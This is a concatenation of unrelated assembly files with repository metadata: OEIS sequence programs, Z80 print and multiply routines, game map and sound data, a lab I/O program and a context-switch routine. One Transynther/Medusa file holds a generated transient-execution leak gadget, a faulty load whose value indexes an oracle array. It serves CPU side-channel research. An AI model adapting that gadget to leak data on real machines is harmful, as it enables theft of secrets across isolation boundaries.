programs/oeis/175/A175780.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A175780: Partial sums of floor(n^2/24).
; 0,0,0,0,0,1,2,4,6,9,13,18,24,31,39,48,58,70,83,98,114,132,152,174,198,224,252,282,314,349,386,426,468,513,561,612,666,723,783,846,912,982,1055,1132,1212,1296,1384,1476,1572,1672,1776,1884,1996,2113,2234,2360,2490,2625,2765,2910,3060,3215,3375,3540,3710,3886,4067,4254,4446,4644,4848,5058,5274,5496,5724,5958,6198,6445,6698,6958,7224,7497,7777,8064,8358,8659,8967,9282,9604,9934,10271,10616,10968,11328,11696,12072,12456,12848,13248,13656,14072,14497,14930,15372,15822,16281,16749,17226,17712,18207,18711,19224,19746,20278,20819,21370,21930,22500,23080,23670,24270,24880,25500,26130,26770,27421,28082,28754,29436,30129,30833,31548,32274,33011,33759,34518,35288,36070,36863,37668,38484,39312,40152,41004,41868,42744,43632,44532,45444,46369,47306,48256,49218,50193,51181,52182,53196,54223,55263,56316,57382,58462,59555,60662,61782,62916,64064,65226,66402,67592,68796,70014,71246,72493,73754,75030,76320,77625,78945,80280,81630,82995,84375,85770,87180,88606,90047,91504,92976,94464,95968,97488,99024,100576,102144,103728,105328,106945,108578,110228,111894,113577,115277,116994,118728,120479,122247,124032,125834,127654,129491,131346,133218,135108,137016,138942,140886,142848,144828,146826,148842,150877,152930,155002,157092,159201,161329,163476,165642,167827,170031,172254,174496,176758,179039,181340,183660,186000,188360,190740,193140,195560,198000,200460,202940,205441,207962,210504,213066,215649
mov $2,$0
mov $3,$0
lpb $3,1
mov $0,$2
sub $3,1
sub $0,$3
mov $5,$0
mul $5,$0
div $5,3
mov $4,$5
div $4,8
add $1,$4
lpe
| 92.823529
| 1,396
| 0.783904
|
7d4021b3467be12d060b908eda32dba1250f2c86
| 2,250
|
asm
|
Assembly
|
src/atalan/cpu/Z80/z80.asm
|
BigEd/atalan
|
95f8eee930c2baeec47594f278d4b8eefb6f4512
|
[
"MIT"
] | 15
|
2018-02-07T15:54:22.000Z
|
2022-03-27T07:26:45.000Z
|
src/atalan/cpu/Z80/z80.asm
|
BigEd/atalan
|
95f8eee930c2baeec47594f278d4b8eefb6f4512
|
[
"MIT"
] | null | null | null |
src/atalan/cpu/Z80/z80.asm
|
BigEd/atalan
|
95f8eee930c2baeec47594f278d4b8eefb6f4512
|
[
"MIT"
] | 3
|
2021-03-09T00:13:43.000Z
|
2021-06-19T17:31:22.000Z
|
;Print characters based on format string stored after the call instruction.
;Plaftorm should define:
;
; Platform.NEW_LINE character
system__print_mem PROC
;Destination address is in BC
ld hl, store_char
jr z80_print
ENDP
system__print_out PROC
ld hl, platform__print_char
ENDP
;IN: HL address of print char procedure
z80_print PROC
local token,no_eol,chars,numbers,exit
ld (emit_char+1), hl
pop hl
token:
ld a, (hl)
inc hl
cp 0
jr z,exit
cp 128
jr nz, no_eol
call emit_eol
jr token
no_eol:
jr nc,numbers
ld d,a
;print D characters from BC address
chars:
ld a,(hl)
inc hl
call emit_char ;print_char
dec d
jr nz,chars
jr token
numbers:
and 127
ld c, (hl) ; read address of the variable
inc hl
ld b, (hl)
inc hl
push hl
ld h, 0
ld l, a
ld a, (bc)
dec l ;if we are supposed to read only one byte, we are done with reading
ld l, a
jr z, one_byte
inc bc ; read second byte
ld a, (bc)
ld h, a
one_byte:
call print_int2
pop hl
jr token
exit:
push hl
ret
ENDP
emit_eol:
ld a, platform__new_line_char ;13
emit_char:
jp platform__print_char
store_char: PROC
ld (de),a
inc de
ENDP
;-----------------------------
print_int2: PROC
push bc
push hl
ld d, 0 ;set to 1 when some non-zero is printed
ld bc,-10000
call digit
ld bc,-1000
call digit
ld bc,-100
call digit
ld c,-10
call digit
ld c,b
inc d ;make sure at least one digit is printed (even if it is 0)
call digit
pop bc
pop hl
ret
digit
ld a,'0'-1
Num2
inc a
add hl,bc
jr c,Num2
sbc hl,bc
cp '0'
jr nz, do_print
inc d
dec d
jr z, no_print
do_print
inc d
call emit_char
no_print
ret
ENDP
; this routine performs the operation HL=H*E
_mul8 PROC
ld d,0 ; clearing D and L
ld l,d
ld b,8 ; we have 8 bits
loop:
add hl,hl ; advancing a bit
jp nc,skip ; if zero, we skip the addition (jp is used for speed)
add hl,de ; adding to the product if necessary
skip:
djnz loop
ret
ENDP
| 16.18705
| 86
| 0.591556
|
dabbc88de5ccf79a733667e5c5443032215ea11c
| 404
|
asm
|
Assembly
|
programs/oeis/111/A111601.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/111/A111601.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/111/A111601.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A111601: Exponential (binomial) convolution of A001818 (with interspersed zeros) and A000142 (factorials).
; 1,2,9,36,225,1350,11025,88200,893025,8930250,108056025,1296672300,18261468225,255660555150,4108830350625,65741285610000,1187451971330625,21374135483951250,428670161650355625,8573403233007112500
add $0,1
mov $1,$0
lpb $0
mov $2,$0
sub $0,1
mod $2,2
add $2,$0
mul $1,$2
lpe
mov $0,$1
| 28.857143
| 195
| 0.762376
|
7c1c9c468c159da88904f7d74c6922a073fe921b
| 207
|
asm
|
Assembly
|
data/maps/headers/LavenderTown.asm
|
opiter09/ASM-Machina
|
75d8e457b3e82cc7a99b8e70ada643ab02863ada
|
[
"CC0-1.0"
] | 1
|
2022-02-15T00:19:44.000Z
|
2022-02-15T00:19:44.000Z
|
data/maps/headers/LavenderTown.asm
|
opiter09/ASM-Machina
|
75d8e457b3e82cc7a99b8e70ada643ab02863ada
|
[
"CC0-1.0"
] | null | null | null |
data/maps/headers/LavenderTown.asm
|
opiter09/ASM-Machina
|
75d8e457b3e82cc7a99b8e70ada643ab02863ada
|
[
"CC0-1.0"
] | null | null | null |
map_header LavenderTown, LAVENDER_TOWN, OVERWORLD, NORTH | SOUTH | WEST
connection north, Route10, ROUTE_10, 0
connection south, Route12, ROUTE_12, 0
connection west, Route8, ROUTE_8, 0
end_map_header
| 29.571429
| 72
| 0.782609
|
774bec606d14e55645c7dc94d4c33c324b848fe8
| 1,034
|
asm
|
Assembly
|
src/sfx.asm
|
Q-Bert-Reynolds/gun-hockey-gb
|
360eae9adfffc9f619f891facf0c83e846f372b5
|
[
"MIT"
] | 1
|
2021-06-04T15:47:25.000Z
|
2021-06-04T15:47:25.000Z
|
src/sfx.asm
|
Q-Bert-Reynolds/gbedit
|
d74e7f3527531ae1e4f34df794ba1cd1c5fe2069
|
[
"MIT"
] | null | null | null |
src/sfx.asm
|
Q-Bert-Reynolds/gbedit
|
d74e7f3527531ae1e4f34df794ba1cd1c5fe2069
|
[
"MIT"
] | null | null | null |
SECTION "SFX", ROMX, BANK[SFX_BANK]
SelectSound::
DB 3;steps
DB %0001 ;disable mask
DB 2, %1110, SFX_CH_1 ;ticks, mask, channel
DB 0, $FF, $FF ;sweep, duty/len, volume
DW E5 ;frequency
DB 4, %1110, SFX_CH_1
DB 0, $FF, $FF
DW C6
DB 2, %1110, SFX_CH_1
DB 0, $FF, $FF
DW A6
TitleDropInSound::
DB 2;steps
DB %1010 ;disable mask
DB 1, %1101, SFX_CH_2
DB %11110111, $FF, $FF
DW A3
DB 80, %0101, SFX_CH_4 ;ticks, mask, channel
DB $00, $FF, $FF ;sweep, duty/len, volume
DB NOISE_DIV_2K | NOISE_EARTHQUAKE, $80 ;frequency, control
VersionSlideInSound::
DB 5;steps
DB %1001 ;disable mask
DB 16, %1111, SFX_CH_1
DB 0, 0, 0
DW 0
DB 1, %1110, SFX_CH_1
DB %11110111, $FF, $FF
DW A3
DB 8, %0110, SFX_CH_4
DB $00, $FF, $F0
DB NOISE_DIV_128 | NOISE_STATIC, $80
DB 8, %0110, SFX_CH_4
DB $00, $FF, $F8
DB NOISE_DIV_64 | NOISE_STATIC, $80
DB 8, %0110, SFX_CH_4
DB $00, $FF, $FF
DB NOISE_DIV_32 | NOISE_STATIC, $80
| 19.509434
| 61
| 0.597679
|
2a9ceb0dc6c63d16d979251e56d7e1735a0229da
| 934
|
asm
|
Assembly
|
lab programs/Hardware/3b.asm
|
Amanskywalker/mp-lab
|
4103c61c0b0fee67cfda6dab313adfaebdb5badb
|
[
"MIT"
] | null | null | null |
lab programs/Hardware/3b.asm
|
Amanskywalker/mp-lab
|
4103c61c0b0fee67cfda6dab313adfaebdb5badb
|
[
"MIT"
] | null | null | null |
lab programs/Hardware/3b.asm
|
Amanskywalker/mp-lab
|
4103c61c0b0fee67cfda6dab313adfaebdb5badb
|
[
"MIT"
] | null | null | null |
;Read the status of two 8-bit inputs (x & y) from the logic controller
;interface and display x*y
.model small
initds macro
mov ax, @data
mov ds,ax
endm
init8255 macro
mov al,cw
mov dx,cr
out dx,al
endm
inpb macro
mov dx,pb
in al,dx
endm
outpa macro
mov dx,pa
out dx,al
endm
printf macro msg
mov ah,9
lea dx,msg
int 21h
endm
exit macro
mov ah,4ch
int 21h
endm
.data
askx db 10,13,"Set value for x, Then press any key $"
asky db 10,13,"Set value for y, Then press any key $"
pa equ 1190h
pb equ 1191h
cr equ 1193h
cw db 82h
.code
initds
init8255
printf askx
mov ah,8
int 21h
inpb
mov bl,al
printf asky
mov ah,8
int 21h
inpb
mul bl
outpa
call delay
mov al,ah
outpa
exit
delay proc
mov bx,0fffh
b2: mov cx,0ffffh
b1: loop b1
dec bx
jnz b2
ret
delay endp
end
;output: inputs x & y is set through module and output is observed
| 11.675
| 71
| 0.657388
|
753284c63797d7f55347b4a814da2881114e07b4
| 8,827
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_st_zr_sm_/i3-7100_9_0x84_notsx.log_21829_306.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_st_zr_sm_/i3-7100_9_0x84_notsx.log_21829_306.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_st_zr_sm_/i3-7100_9_0x84_notsx.log_21829_306.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0xf8bf, %rcx
nop
nop
nop
nop
dec %rsi
mov $0x6162636465666768, %rbp
movq %rbp, %xmm1
vmovups %ymm1, (%rcx)
nop
nop
nop
cmp %r11, %r11
lea addresses_normal_ht+0x1a73f, %r9
nop
nop
nop
nop
nop
add $61262, %r12
movb (%r9), %dl
nop
nop
nop
nop
and $31074, %r11
lea addresses_normal_ht+0xd5bf, %r11
clflush (%r11)
nop
nop
and %r12, %r12
mov (%r11), %rdx
nop
nop
nop
nop
add %rsi, %rsi
lea addresses_D_ht+0x139bf, %rbp
nop
nop
nop
add $18369, %r12
movl $0x61626364, (%rbp)
cmp %rsi, %rsi
lea addresses_WC_ht+0x91bf, %rsi
lea addresses_WT_ht+0x9d3f, %rdi
nop
inc %rbp
mov $53, %rcx
rep movsq
add $19569, %rdx
lea addresses_A_ht+0x14ba9, %rsi
nop
and %r9, %r9
mov (%rsi), %edi
nop
nop
nop
nop
sub $28877, %r12
lea addresses_A_ht+0xa03f, %rsi
lea addresses_WT_ht+0x1c8ff, %rdi
nop
nop
xor $2542, %r12
mov $7, %rcx
rep movsw
nop
nop
nop
sub $9984, %rcx
lea addresses_WC_ht+0x1969f, %rsi
lea addresses_A_ht+0x49bf, %rdi
cmp $39513, %r9
mov $97, %rcx
rep movsb
cmp %rbp, %rbp
lea addresses_normal_ht+0xd9bf, %rcx
nop
nop
nop
nop
dec %rsi
vmovups (%rcx), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %r9
nop
nop
nop
nop
nop
dec %rdi
lea addresses_UC_ht+0x14bbf, %rdx
nop
nop
nop
nop
sub %rsi, %rsi
movw $0x6162, (%rdx)
nop
nop
add %r9, %r9
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r8
push %r9
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_UC+0x7337, %rsi
lea addresses_normal+0xd1bf, %rdi
nop
and %r14, %r14
mov $35, %rcx
rep movsl
nop
nop
nop
xor %rsi, %rsi
// Store
lea addresses_A+0x19f3f, %r14
nop
nop
and %r8, %r8
movl $0x51525354, (%r14)
nop
nop
nop
sub %rsi, %rsi
// Store
lea addresses_normal+0x5bf, %rsi
add $21542, %r9
movb $0x51, (%rsi)
nop
sub $55043, %r12
// Store
mov $0x2c4, %r12
nop
nop
nop
nop
sub $32906, %rcx
movl $0x51525354, (%r12)
nop
and %r8, %r8
// Store
lea addresses_normal+0xd1bf, %r14
nop
nop
nop
nop
nop
add $58042, %rdi
mov $0x5152535455565758, %rsi
movq %rsi, (%r14)
nop
sub %rcx, %rcx
// Store
lea addresses_WC+0x1166f, %r12
clflush (%r12)
nop
nop
nop
nop
cmp %rdi, %rdi
movl $0x51525354, (%r12)
nop
nop
nop
add $14563, %r8
// Store
lea addresses_normal+0xd1bf, %rcx
nop
add $45999, %rdi
mov $0x5152535455565758, %r9
movq %r9, (%rcx)
nop
nop
nop
nop
nop
cmp %r9, %r9
// Store
lea addresses_WC+0x5b7f, %rsi
nop
sub %rdi, %rdi
mov $0x5152535455565758, %r14
movq %r14, %xmm4
movups %xmm4, (%rsi)
nop
cmp $16615, %r12
// Store
lea addresses_RW+0x19f3f, %r12
and %rdi, %rdi
mov $0x5152535455565758, %r14
movq %r14, %xmm3
movups %xmm3, (%r12)
nop
nop
nop
inc %r8
// Faulty Load
lea addresses_normal+0xd1bf, %r14
nop
cmp %rdi, %rdi
vmovntdqa (%r14), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %r8
lea oracles, %r9
and $0xff, %r8
shlq $12, %r8
mov (%r9,%r8,1), %r8
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_normal', 'congruent': 0, 'same': True}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 4, 'congruent': 7, 'NT': True, 'AVXalign': True}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 1, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_P', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 16, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_RW', 'same': False, 'size': 16, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'same': True, 'size': 32, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 10, 'NT': True, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 1, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'00': 261, '58': 21568}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 00 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 31.080986
| 2,999
| 0.651977
|
afb20f4b23f68a4f421606930eba6b3994dca41f
| 650
|
asm
|
Assembly
|
int10_override.asm
|
p2mate/focus_loader
|
862081a1096e4f59284237e9e2a1296b0aff62f0
|
[
"Apache-2.0"
] | null | null | null |
int10_override.asm
|
p2mate/focus_loader
|
862081a1096e4f59284237e9e2a1296b0aff62f0
|
[
"Apache-2.0"
] | null | null | null |
int10_override.asm
|
p2mate/focus_loader
|
862081a1096e4f59284237e9e2a1296b0aff62f0
|
[
"Apache-2.0"
] | null | null | null |
.MODEL SMALL
.CODE
public int10_override_, setup_int10_
int10_override_ proc far
cmp ax, 4f01h
je check_mode01
cmp ax, 4f02h
jne chain_to_prev
cmp bx, 4136h
jne chain_to_prev
push cx
push bx
and bx, 4000h
or bx, [mode]
jmp chain_to_prev_and_restore
check_mode01:
cmp cx, 136h
jne chain_to_prev
push cx
push bx
and cx, 4000h
or cx, [mode]
chain_to_prev_and_restore:
pushf
call [cs:chain_int10]
pop bx
pop cx
iret
chain_to_prev:
jmp [cs:chain_int10]
int10_override_ endp
setup_int10_ proc near
mov [mode], ax
mov dx, cs
mov ax, offset chain_int10
ret
setup_int10_ endp
chain_int10 dd -1
mode dw 0
end
| 11.607143
| 37
| 0.738462
|
5ec808e27638da543353746e0b18dcc61292dba0
| 1,689
|
asm
|
Assembly
|
src/arch/x64/routines.asm
|
benner/nebulet
|
fb98938ce00563e3f3ad74711ff3575ac30a53b4
|
[
"MIT"
] | 2,283
|
2018-03-12T09:45:05.000Z
|
2022-03-14T21:48:07.000Z
|
src/arch/x64/routines.asm
|
benner/nebulet
|
fb98938ce00563e3f3ad74711ff3575ac30a53b4
|
[
"MIT"
] | 46
|
2018-03-21T16:45:53.000Z
|
2020-02-05T09:52:02.000Z
|
src/arch/x64/routines.asm
|
benner/nebulet
|
fb98938ce00563e3f3ad74711ff3575ac30a53b4
|
[
"MIT"
] | 81
|
2018-03-21T16:20:24.000Z
|
2022-03-18T15:45:44.000Z
|
.global x86_64_context_switch
.global erms_memcpy
.global erms_memset
.intel_syntax noprefix
# Context Switching
# -----------------
# ThreadContext {
# 0x0: flags
# 0x8: rbx
# 0x10: r12
# 0x18: r13
# 0x20: r14
# 0x28: r15
# 0x30: rbp
# 0x38: rsp
# }
#
# rdi <- reference to previous `ThreadContext`
# rsi <- reference to next `ThreadContext`
x86_64_context_switch:
# Save the previous context
pushfq
pop qword ptr [rdi] # save rflags into prev.flags
mov [rdi+0x8], rbx # save rbx
mov [rdi+0x10], r12 # save r12
mov [rdi+0x18], r13 # save r13
mov [rdi+0x20], r14 # save r14
mov [rdi+0x28], r15 # save r15
mov [rdi+0x30], rbp # save rbp
# Swap the stack pointers
mov [rdi+0x38], rsp # save rsp
mov rsp, [rsi+0x38] # set rsp
# Switch to the next context
mov rbp, [rsi+0x30] # set rbp
mov r15, [rsi+0x28] # set r15
mov r14, [rsi+0x20] # set r14
mov r13, [rsi+0x18] # set r13
mov r12, [rsi+0x10] # set r12
mov rbx, [rsi+0x8] # set rbx
push [rsi] # set rflags
popfq
# leap of faith
ret
# Enable SSE
enable_sse:
mov rax, cr0
and ax, 0xfffb
or ax, 0x2
mov cr0, rax
mov rax, cr4
or ax, 3 << 9
mov cr4, rax
ret
# Enable AVX
enable_avx:
push rax
push rcx
xor rcx, rcx
xgetbv
or eax, 7
xsetbv
pop rcx
pop rax
ret
# ERMS Memcpy
erms_memcpy:
mov rax, rdi
mov rcx, rdx
rep movsb
ret
# ERMS memset
erms_memset:
mov r9, rdi
mov al, sil
mov rcx, rdx
rep stosb
mov rax, r9
ret
| 18.358696
| 54
| 0.555358
|
d375fdde4501a3da4364020ee9bea141f1bb2043
| 337
|
asm
|
Assembly
|
programs/oeis/021/A021531.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/021/A021531.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/021/A021531.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A021531: Decimal expansion of 1/527.
; 0,0,1,8,9,7,5,3,3,2,0,6,8,3,1,1,1,9,5,4,4,5,9,2,0,3,0,3,6,0,5,3,1,3,0,9,2,9,7,9,1,2,7,1,3,4,7,2,4,8,5,7,6,8,5,0,0,9,4,8,7,6,6,6,0,3,4,1,5,5,5,9,7,7,2,2,9,6,0,1,5,1,8,0,2,6,5,6,5,4,6,4,8,9,5,6,3,5,6
add $0,1
mov $1,10
pow $1,$0
sub $1,6
mul $1,5
div $1,17
add $1,4
div $1,155
mod $1,10
mov $0,$1
| 24.071429
| 199
| 0.543027
|
146230e689f906b32b8d45f72691c6300a71a658
| 390
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/arch/zx/bifrost2/c/sdcc/BIFROST2_start.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/arch/zx/bifrost2/c/sdcc/BIFROST2_start.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/arch/zx/bifrost2/c/sdcc/BIFROST2_start.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
; ----------------------------------------------------------------
; Z88DK INTERFACE LIBRARY FOR THE BIFROST*2 ENGINE
;
; See "bifrost2.h" for further details
; ----------------------------------------------------------------
; void BIFROST2_start(void)
SECTION code_clib
SECTION code_bifrost2
PUBLIC _BIFROST2_start
EXTERN asm_BIFROST2_start
defc _BIFROST2_start = asm_BIFROST2_start
| 22.941176
| 66
| 0.538462
|
c6061a74b5cac373b0c161b93dc77008ed5b95b0
| 102
|
asm
|
Assembly
|
Mips/Studies/printingCharacter.asm
|
otavreis/-Computer-Architecture-and-Organization
|
317c7077b1b08a50985767d8114af5be580cc764
|
[
"MIT"
] | 1
|
2020-09-03T00:16:24.000Z
|
2020-09-03T00:16:24.000Z
|
Mips/Studies/printingCharacter.asm
|
otavreis/-Computer-Architecture-and-Organization
|
317c7077b1b08a50985767d8114af5be580cc764
|
[
"MIT"
] | null | null | null |
Mips/Studies/printingCharacter.asm
|
otavreis/-Computer-Architecture-and-Organization
|
317c7077b1b08a50985767d8114af5be580cc764
|
[
"MIT"
] | null | null | null |
.data
myCharacter: .byte 'm'
.text
li $v0, 4 #uses code 4
la $a0, myCharacter
syscall
| 14.571429
| 26
| 0.588235
|
292162a8c7d58c98683d57a30206478aa8a0835d
| 75,612
|
asm
|
Assembly
|
grep.asm
|
swu038/CS183lab2
|
b9c4db70ae1b36f4a6b7c26c0361d6728532d1cb
|
[
"MIT-0"
] | null | null | null |
grep.asm
|
swu038/CS183lab2
|
b9c4db70ae1b36f4a6b7c26c0361d6728532d1cb
|
[
"MIT-0"
